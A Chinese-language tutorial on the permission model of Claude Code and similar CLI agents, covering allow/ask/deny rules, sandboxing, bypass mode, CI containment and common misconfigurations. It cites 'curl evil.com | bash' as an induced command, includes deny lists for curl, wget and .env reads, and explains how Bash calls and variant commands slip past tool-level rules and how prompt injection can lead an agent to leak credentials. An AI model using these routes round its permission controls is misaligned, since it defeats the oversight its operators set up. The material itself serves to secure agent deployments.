在 CLI Agent 里挂 MCP server
在终端 Agent 里挂 MCP server 的两种方式 —— claude mcp add 命令 vs settings.json 配置文件,含 stdio 与远程 server 的踩坑要点
理解 Claude Code 等 CLI Agent 的工具白名单 / 危险权限 / sandbox 边界,知道 bypassPermissions 何时该开
内容摘要
CLI Agent 之所以让人又爱又怕,本质上就一句话:**它能在你的真实终端里跑命令、改文件、发网络请求**。一个写错的 `rm -rf` 或者一段被诱导出来的 `curl evil.com | bash`,造成的损失是 IDE 插件的几十倍。所以从 Claude Code 0.x 开始,所有主流终端 Agent 都把"权限模型"放在了第一位——它决定了 Agent 在什么时候可以闷头干、什么时候必须停下来问你、什么时候直接被拒绝。
CLI Agent 之所以让人又爱又怕,本质上就一句话:它能在你的真实终端里跑命令、改文件、发网络请求。一个写错的 rm -rf 或者一段被诱导出来的 curl evil.com | bash,造成的损失是 IDE 插件的几十倍。所以从 Claude Code 0.x 开始,所有主流终端 Agent 都把"权限模型"放在了第一位——它决定了 Agent 在什么时候可以闷头干、什么时候必须停下来问你、什么时候直接被拒绝。
权限模型要回答三个问题:
Claude Code 官方把这套设计叫做 "strict read-only by default":默认状态下读取文件、grep、glob 这类只读操作不询问;一旦涉及写文件、跑 bash、发网络请求,就必须显式批准。这是 Claude Code、Codex CLI、Cursor Agent 都共享的基线。
要理解为什么"光配 permissions 不够、还得开 sandbox",先记住这三层是正交的、可叠加的:
| 层 | 它管什么 | 在哪一层执行 | 失守后果 |
|---|---|---|---|
| Permissions(权限规则) | Claude 自己内部的工具调用:Bash、Read、Edit、WebFetch、MCP 调用要不要放行 | CLI 进程内的 JS/Rust 逻辑 | 模型仍可能尝试调用,但被进程拦下;不影响 Claude 没主动调起的子进程 |
| Sandbox(OS 级隔离) | Bash 子进程能不能写到工作目录外、能不能连未列入白名单的域名 | 操作系统:macOS Seatbelt / Linux bubblewrap | 即使 prompt injection 让 Claude 跑了 rm -rf ~/,OS 层仍然拒绝 |
| Container / VM | 整个进程的爆炸半径:能访问到的文件系统、网络、凭证全集 | Docker / devcontainer / 虚拟机 | 即使 sandbox 被绕过,也只损坏容器内 |
很多人把 permissions 当 sandbox 用,其实差得很远——permissions 拦的是"Claude 自己想调的工具",拦不住"Claude 调起来的 bash 又 fork 出来的子进程"。后者只能靠 OS 级的 sandbox。
下面这张图是 Claude Code 每次工具调用都会走一遍的流程,理解它就理解了 90% 的"为什么我配了 allow 它还在问/为什么 deny 不生效":
记住三条规则:
.git、.claude、.vscode、.idea、.husky 这几个目录依然会弹确认;rm -rf / 之类指向系统关键路径的命令也仍会拦。这是官方刻意留的最后一道防线。最常用的就是 allow / ask / deny 三个数组,外加 defaultMode 和 additionalDirectories。下面是一份典型的项目 .claude/settings.json:
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(npm run lint)",
"Bash(npm run test:*)",
"Bash(git status)",
"Bash(git diff:*)",
"Bash(git log:*)",
"Read(~/.zshrc)"
],
"ask": [
"Bash(git push:*)",
"Bash(git commit:*)"
],
"deny": [
"Bash(curl:*)",
"Bash(wget:*)",
"Bash(rm -rf /:*)",
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)",
"WebFetch(domain:internal.company.com)"
],
"additionalDirectories": ["../shared-lib"],
"defaultMode": "default"
}
}
逐段拆开看:
Bash(npm run test:*)::* 是官方推荐的"前缀通配"写法,等价于 Bash(npm run test *)(注意空格)。它强制要求 test 后面要么是空格要么是行尾,所以能匹配 npm run test、npm run test:unit,不会误中 npm run testing-deprecated。Bash(git diff:*):同理,匹配所有 git diff 开头的命令,但不会被 git difftool-and-something 蒙混过关。Read(./.env) 走 deny:注意 Read 规则只能拦 Claude 自己用的 Read 工具,拦不住 cat .env。要从 OS 层真的禁掉,得开 sandbox。additionalDirectories 把工作目录之外的路径也纳入 Claude 的"可读可编辑"领地,但不会因此加载那个目录下的 .claude/settings.json,它只扩展文件访问。文件路径模式是 gitignore 风格,且有四种前缀,互相之间差别很大:
| 写法 | 含义 | 例子 |
|---|---|---|
//path | 文件系统绝对路径 | Read(//Users/alice/secrets/**) |
~/path | Home 目录 | Read(~/.zshrc) |
/path | 项目根的相对路径(不是绝对路径!) | Edit(/src/**/*.ts) |
path 或 ./path | 当前目录的相对路径 | Read(*.env) |
最容易踩的坑:/Users/alice/file 不是绝对路径,是项目根下的 Users/alice/file。绝对路径要写两个斜杠 //Users/alice/file。
Claude Code 在启动时按以下顺序合并配置,高优先级覆盖低优先级,但数组类字段(allow/ask/deny)是 merge 而不是 replace:
1. Managed settings(企业管控,最高,谁也覆盖不了)
2. Command line arguments(--allowedTools / --disallowedTools)
3. .claude/settings.local.json(项目本地,gitignore)
4. .claude/settings.json(项目共享,提交进 git)
5. ~/.claude/settings.json(用户全局,最低)
所以"团队共用 deny + 个人加 allow"是合法的——只要团队 settings 里没把它 deny 死,个人就能在 local 里追加 allow。但反过来,deny 在任何一层出现都会生效,谁都救不回来。
命令行加这个标志(或在交互模式下进入 bypassPermissions 模式),等价于把 defaultMode 设成 bypassPermissions。它的真实效果是:
✅ 跳过:所有 ask 提示、所有"first-time use"的提示、bash 网络命令的默认 deny(curl/wget)、文件编辑的逐次确认。
❌ 不跳过:
.git、.claude、.vscode、.idea、.husky 这几个目录(仍弹确认,防止你的 git 仓库被改坏)。rm / rmdir(指向 /、$HOME 仍弹)。disableBypassPermissionsMode: "disable" 的禁用——直接连 --dangerously-skip-permissions 这个标志都启动失败。CI 场景下推荐写法(注意要配合容器或 sandbox):
# 在 GitHub Actions / GitLab CI 的 step 里
docker run --rm \
-v "$PWD:/workspace" -w /workspace \
-e ANTHROPIC_API_KEY \
--network none \
anthropic/claude-code:latest \
claude --dangerously-skip-permissions \
-p "Run npm test, then summarize failures into report.md"
--network none 是关键:没有它,bypassPermissions 模式下 Claude 仍可以发任意 HTTP 请求。容器加网络隔离是真正的"爆炸半径控制",permissions 只是第一道。
从 Claude Code 1.x 开始,原生支持 /sandbox 命令,底层用 macOS Seatbelt 或 Linux bubblewrap 强制执行边界。开了之后,所有 bash 子进程都会被 OS 级别地限制在指定的可写目录和可达域名内:
{
"sandbox": {
"enabled": true,
"filesystem": {
"allowWrite": ["./", "~/.kube"],
"denyRead": ["~/.ssh", "~/.aws"]
},
"network": {
"allowedDomains": [
"registry.npmjs.org",
"api.github.com",
"*.anthropic.com"
]
}
}
}
跟 permissions 的关键区别:sandbox 是 OS 级的,连 kubectl、terraform、npm 这些子进程都会继承同样的边界。哪怕模型被 prompt injection 诱导跑了 cat ~/.ssh/id_rsa,OS 层也会直接拒绝读取。
| 工具 | 默认询问行为 | 白名单规则颗粒度 | 危险绕过模式 | OS 级 sandbox | 团队管控 |
|---|---|---|---|---|---|
| Claude Code | 写文件、bash、网络请求都问;只读不问 | 高:Bash(npm:*)、Edit(/src/**)、WebFetch(domain:x)、mcp__server__tool | --dangerously-skip-permissions,仍保留写 .git 等硬保护 | ✅ 内置 /sandbox,Seatbelt + bubblewrap | ✅ Managed settings、disableBypassPermissionsMode、allowManagedPermissionRulesOnly |
| Codex CLI | 三档 approval_policy:untrusted / on-request / never | 中:sandbox_workspace_write.writable_roots 控写路径,命令级 allow 较弱 | sandbox_mode = danger-full-access + approval_policy = never 组合 | ✅ 内置三档 sandbox:read-only / workspace-write / danger-full-access | ⚠️ 通过 config.toml,企业管控较 Claude Code 弱 |
| Cursor Agent (YOLO) | Agent 模式默认逐次确认 | 中:命令 allowlist + denylist + 删文件保护 | "YOLO mode" 一键开启自动跑 | ⚠️ "Auto-Run in Sandbox" 选项,但社区报告 allowlist 在 sandbox 下被忽略 | ❌ 主要靠个人偏好,企业管控弱 |
核心区别一句话:Claude Code 是"工具白名单 + OS sandbox"双层架构,颗粒度最细、可管控性最强;Codex CLI 用三档 sandbox 简化心智模型;Cursor 把权限当 UX 细节藏在 IDE 里。
| 误区 | 准确理解 |
|---|---|
| 以为 permissions 就是 sandbox | permissions 只拦 Claude 自己内部的工具调用;它拦不住 Claude 调起来的 bash 子进程再 fork 的孙进程,也拦不住 cat .env 这种通过 bash 绕道访问的操作。要 OS 级强制,必须开 /sandbox 或跑在容器里。 |
以为 --dangerously-skip-permissions 在 CI 里足以替代审计 | bypass 模式仍会保留写 .git 等几个硬保护,但不会自动加网络隔离、不会自动加文件系统隔离、也不会自动留审计日志。CI 场景下 bypass 必须叠加容器隔离、--network none、以及外部 audit log(OpenTelemetry / 自建 hook),三者缺一不可。 |
| 用 bash 通配符想拒绝单个命令 | Bash(curl http://github.com/ *) 这种规则形同虚设:curl -X GET http://github.com/...、curl https://...、URL=... && curl $URL、curl -L http://bit.ly/... 都能绕过去。正解是 deny 整个 Bash(curl:*) 和 Bash(wget:*),再用 WebFetch(domain:github.com) 给定向白名单。 |
| 以为 Read 的 deny 能保护 .env | Read(./.env) 只挡住 Claude 调用 Read 工具直接读,挡不住 cat .env、grep KEY .env、source .env。真要保护必须 OS 层:sandbox 的 denyRead 或者把文件挪出工作目录。 |
以为 /path 是绝对路径 | gitignore 风格里 /path 是项目根相对路径。绝对路径必须写两个斜杠://path。把 Read(/etc/passwd) 当成"禁止读 /etc/passwd"是无效的——它实际上指向 <项目根>/etc/passwd。 |
以为 Bash(devbox run *) 只放行 devbox 里的安全命令 | devbox、docker exec、mise exec、npx 这些"环境运行器"不在 Claude Code 内置的 wrapper 剥离列表里,所以 Bash(devbox run *) 等于"放行 devbox 后面所有命令",包括 devbox run rm -rf .。要么写精确规则 Bash(devbox run npm test),要么干脆别让运行器加通配。 |
| 以为开了 bypass 就不会再有任何提示 | 写 .git、.claude、.vscode、.idea、.husky 这五个目录、以及指向 /、$HOME 等系统关键路径的 rm,永远会再问一次,这是官方写死的最后一道防线,不是 bug。 |
| 优势 | 劣势 |
|---|---|
| deny-first 设计极其安全:deny 任何一层出现都生效,团队 / 企业 / 个人配置可叠加,写 deny 永远比 allow 更稳 | 配置心智成本高:四种路径前缀(// / ~/ / / / ./)、bash 通配的空格语义、:* 与 * 的区别、wrapper 剥离列表,新手很容易写出"看起来对其实失效"的规则 |
支持 OS 级 sandbox:Seatbelt / bubblewrap 让权限有真正的牙齿,能挡住 cat .env、rm -rf ~/ 这类绕道操作 | sandbox 平台支持不齐:macOS / Linux / WSL2 可用,原生 Windows 暂不支持;Linux 容器内还需 enableWeakerNestedSandbox 妥协 |
管控分层清晰:Managed > CLI args > local > project > user 五层,企业可以一键 allowManagedPermissionRulesOnly 锁死团队规则 | bash 规则脆弱:试图用 pattern 限制命令参数(如限制 curl 只访问某域名)几乎注定失败,必须改用 deny + WebFetch 白名单 |
| PreToolUse hook 提供编程化扩展:能写一个 Python / shell 脚本动态决定每次调用是否放行,能取代静态规则 | hook 的优先级与 deny 关系容易记错:hook 拦截优先于 allow,但 deny 优先于 hook"放行"决定,团队同时用两者时容易绕晕 |
bypassPermissions 仍保留硬保护:写 .git 等仍会问,最大限度防止"全开模式下把仓库改烂" | bypass 不会自动加网络隔离:很多人以为开了 bypass + 在 CI 跑就安全了,实际上完全没有 OS 级隔离,必须自己叠 docker --network none |
Read(./.env) 写进 deny,为什么 Claude 仍然可能把 .env 内容打印出来?参考答案:
Read 规则只能拦截 Claude 直接调用 Read 工具这一种路径。Claude 仍然有别的路可以走:
cat .env、grep API .env、source .env——这些走的是 Bash,不是 Read。python -c "print(open('.env').read())"——走的是 Bash 调起的 python 子进程。要真正保护 .env,得做三件事至少做一件:
denyRead: ["./.env", "./.env.*"],由 OS 拦截所有进程的访问。.env 移到工作目录之外,使其超出 Claude 的访问范围。.env,含有就 exit 2 阻断。这道题的本质是:permissions 是应用层规则,sandbox 才是 OS 层屏障。
--dangerously-skip-permissions,但本地随便玩。怎么配?参考答案:
正确做法是只在 CI 那一层下发 managed settings,不要污染开发本地:
在 CI runner 镜像里部署 managed settings 文件(macOS 是 plist、Linux 是 /etc/claude-code/managed-settings.json、Windows 是注册表):
{
"permissions": {
"disableBypassPermissionsMode": "disable",
"allowManagedPermissionRulesOnly": true,
"deny": [
"Bash(curl:*)",
"Bash(wget:*)",
"Read(./.env)",
"Read(./.env.*)"
]
}
}
disableBypassPermissionsMode: "disable" 会让 --dangerously-skip-permissions 直接启动失败,连进程都起不来。
allowManagedPermissionRulesOnly: true 会让 CI 里的项目仓库、用户层的 settings.json 全部失效——只有 managed settings 里的规则生效,避免有人在 PR 里偷偷加 allow。
开发本地不部署 managed settings,所以日常开发的 bypass 模式照常用。
错误做法:把限制写进 .claude/settings.json 提交进仓库——开发本地一样会受影响,体验会非常糟糕;而且仓库里的项目 settings 在 CI 里仍然会被 Claude 加载,但优先级低于 managed,真正起决定作用的还是 managed。所以这件事必须从 OS 层(managed settings)下发,不要从代码仓库下发。
--dangerously-skip-permissions 里,是否就完全安全可以无人值守?为什么?参考答案:
不能完全等于安全,原因有四个层面:
~/.config/gh、ANTHROPIC_API_KEY、.npmrc 一旦被 prompt injection 诱导,会被打到攻击者控制的服务上。devcontainer 默认 firewall 只拦 outbound 域名,没拦认证后的 GitHub API 写操作——攻击者可以用你的 gh token 创 issue / 改 secret / push 恶意 commit。.git 仍会弹确认;如果你把脚本写成"完全 headless 跑一晚上",遇到这种弹窗就会卡死。无人值守要么提前把 .git 写操作走 Bash(git:*) 通道(这又削弱了保护),要么接受偶尔卡住。正确认知:devcontainer + bypass 是把"爆炸半径"从你的笔记本压缩到了"容器内可访问的东西",但容器内能访问的东西如果包含真正值钱的凭证和写权限,破坏力依然巨大。无人值守的真正配方是 最小权限凭证 + OS sandbox + 网络白名单 + 审计日志 + 只对可信仓库使用,缺哪一项都不算"安全"。
优先展示同分类且标签更接近的内容,方便继续串联学习。
在终端 Agent 里挂 MCP server 的两种方式 —— claude mcp add 命令 vs settings.json 配置文件,含 stdio 与远程 server 的踩坑要点
理解 Claude Code 的生命周期 hook(PreToolUse / PostToolUse / Stop / Notification 等),何时该用、典型用例与避坑
理解 Claude Code 的 settings 三层模型(用户级 / 项目级 / local)的合并规则、覆盖优先级与最常踩的坑